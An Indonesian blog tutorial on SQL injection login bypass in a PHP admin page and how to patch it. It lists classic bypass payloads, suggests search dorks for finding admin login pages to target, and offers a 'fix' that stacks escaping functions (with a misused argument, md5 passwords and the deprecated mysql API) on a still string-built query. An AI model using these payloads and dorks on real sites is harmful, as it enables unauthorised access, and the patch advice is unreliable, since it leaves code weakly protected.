Login sebagai admin tanpa password dan cara mencegahnya

hai kawan kawann,lama tidak posting karna saya sibuk bekerja ^_^ cari duit cari nafkah.. kali ini saya akan memposting cara mengamankan halaman login dari serangan hacker. nah untuk tes di sini saya tes di localhost (di komputer sendiri) nah di sini saya sudah memiliki web toko online buatan temen dari temen saya waktu lomba web design lks jatim yang saya jalankan di localhost.
sebenarnya teknik ini sudah sangat kuno, tapi masih manjur dan beberapa web master masih cuek atau bahkan ada yang tidak tau soal ini.
teknik menyerangnya adalah dengan memasukan beberapa kode injeksi ke kolom username dan password sehingga halaman login bisa ter bypass
jadi halaman login itu kalo penulisan dalam algoritmanya pakek SI (Structured Indonesia) seperti ini
1. baca username dan password jadikan $username dan $password
2. SELECT*from admin Where user='$username' AND pass='$password' ini query sql bisa di baca seperti ini (lihat kolom admin yang nama usernya $username dan passwordnya $password) seperti itu, untuk pemahaman mengenai perintah perintah sql bisa baca di sini [link] , $username dan $password itu adalah teks yang di inputkan oleh user di halaman login
3. jika ada maka lanjut ke tahap selanjutnya, jika tidak maka masuk ke halaman gagal (maksudnya adalah jika perintah sql di atas di eksekusi dan ada hasil yang di tampilkan maka akan masuk ke proses selanjutnya, jika tidak ada hasil maka akan di bawa ke halaman gagal login)
4. buat sesi dengan nama $username
5. masuk ke halaman admin/user

nah kira-kira jalannya login itu seperti di atas. nah misal nya seperti ini
admin mau login dan menginputkan di kolom username dan password seperti ini
user         : admin
password : admin123

maka query sqlnya akan seperti ini
SELECT*FROM admin WHERE user='admin' AND password ='admin123'
jika ada maka akan tercipta sesi dengan nama admin dan akan masuk kehalaman admin

nah bagaimana jika yang login itu hacker/attacker dan menginputkan di kolom username dan password seperti iniw
user     : '=' 'or'
password : '=' 'or'
atau seperti ini
user     :' or 1=1 limit 1 -- -+
password :' or 1=1 limit 1 -- -+
maka query sqlnya akan jadi seperti ini
SELECT FROM admin WHERE user=''=''or'' AND password=''=''or''
maka halaman login akan terbypass dan kita akan dibawa ke halaman admin dan akan tercipta sesi dengan nama '=' 'or' dan kita pun akan memiliki hak akses seperti admin.
berikut adalah beberapa contoh kode injeksi
'--
' or 'a'='a
' or 'a'='a'--
' or '1'='1--
' or 1=1--
'=' 'or'
' or 1=1 limit 1 -- -+
nah untuk demonya bisa kita lihat tutorial di bawah ini
untuk mencari targetnya bisa kita gunakan dork
inurl:admin.php
inurl:admin/login.php
kreasikan sendiri

setelah dapat di sini saya menggunakan target web saya sendiri
dan coba saya masukan kode injeksinya
and boom ternyata masuk kehalaman admin
nah sekarang kita bisa obrak abrik web nya sesuka hati
nah untuk mencegah atau mem-patch bug/celah ini sebenarnya mudah sekali, kode halaman login kurang lebih seperti ini

<?php

include('../koneksi/koneksi2.php');
session_start();
$username = $_POST['username'];
$password = md5($_POST['password']);
$sql = mysql_query("SELECT * FROM admin WHERE username = '$username' AND password = '$password' ");
$res = mysql_num_rows($sql);
if($res == true){
    $_SESSION['username'] = $username;
    header('Location: index.php');
}else{
    header('Location: gagal.php');
}
?>


kita hanya perlu memberikan beberapa fungsi saja di sini jadi seperti ini
<?php

include('../koneksi/koneksi2.php');

session_start();
function antiinjek($data){
$filter=mysql_real_escape_string(htmlspecialchars(stripslashes(strip_tags($data,ENT_QUOTES))));
return $filter;
}

$username = antiinjek($_POST['username']);
$password = antiinjek(md5($_POST['password']));

$sql = mysql_query("SELECT * FROM admin WHERE username = '$username' AND password = '$password' ");
$res = mysql_num_rows($sql);

if($res == true){
    $_SESSION['username'] = $username;
    header('Location: index.php');
}else{
    header('Location: gagal.php');
}
?>

nb : perubahannya saya beri warna merah
nah sekarang kita coba tes lagi apakah halaman login masih bisa di bypass
dan ternyata sudah tidak bisa

^_^ sudah deh.. kini halaman login sudah aman dari serangan hacker, bagaimana dengan celah-celah yang lain ? tunggu saja update dari saya ^_^
semoga bermanfaat
jangan di salah gunakan

22.31 - tanpa komentar

0 komentar untuk Login sebagai admin tanpa password dan cara mencegahnya.


Perlihatkan Semua Komentar Tutup Semua Komentar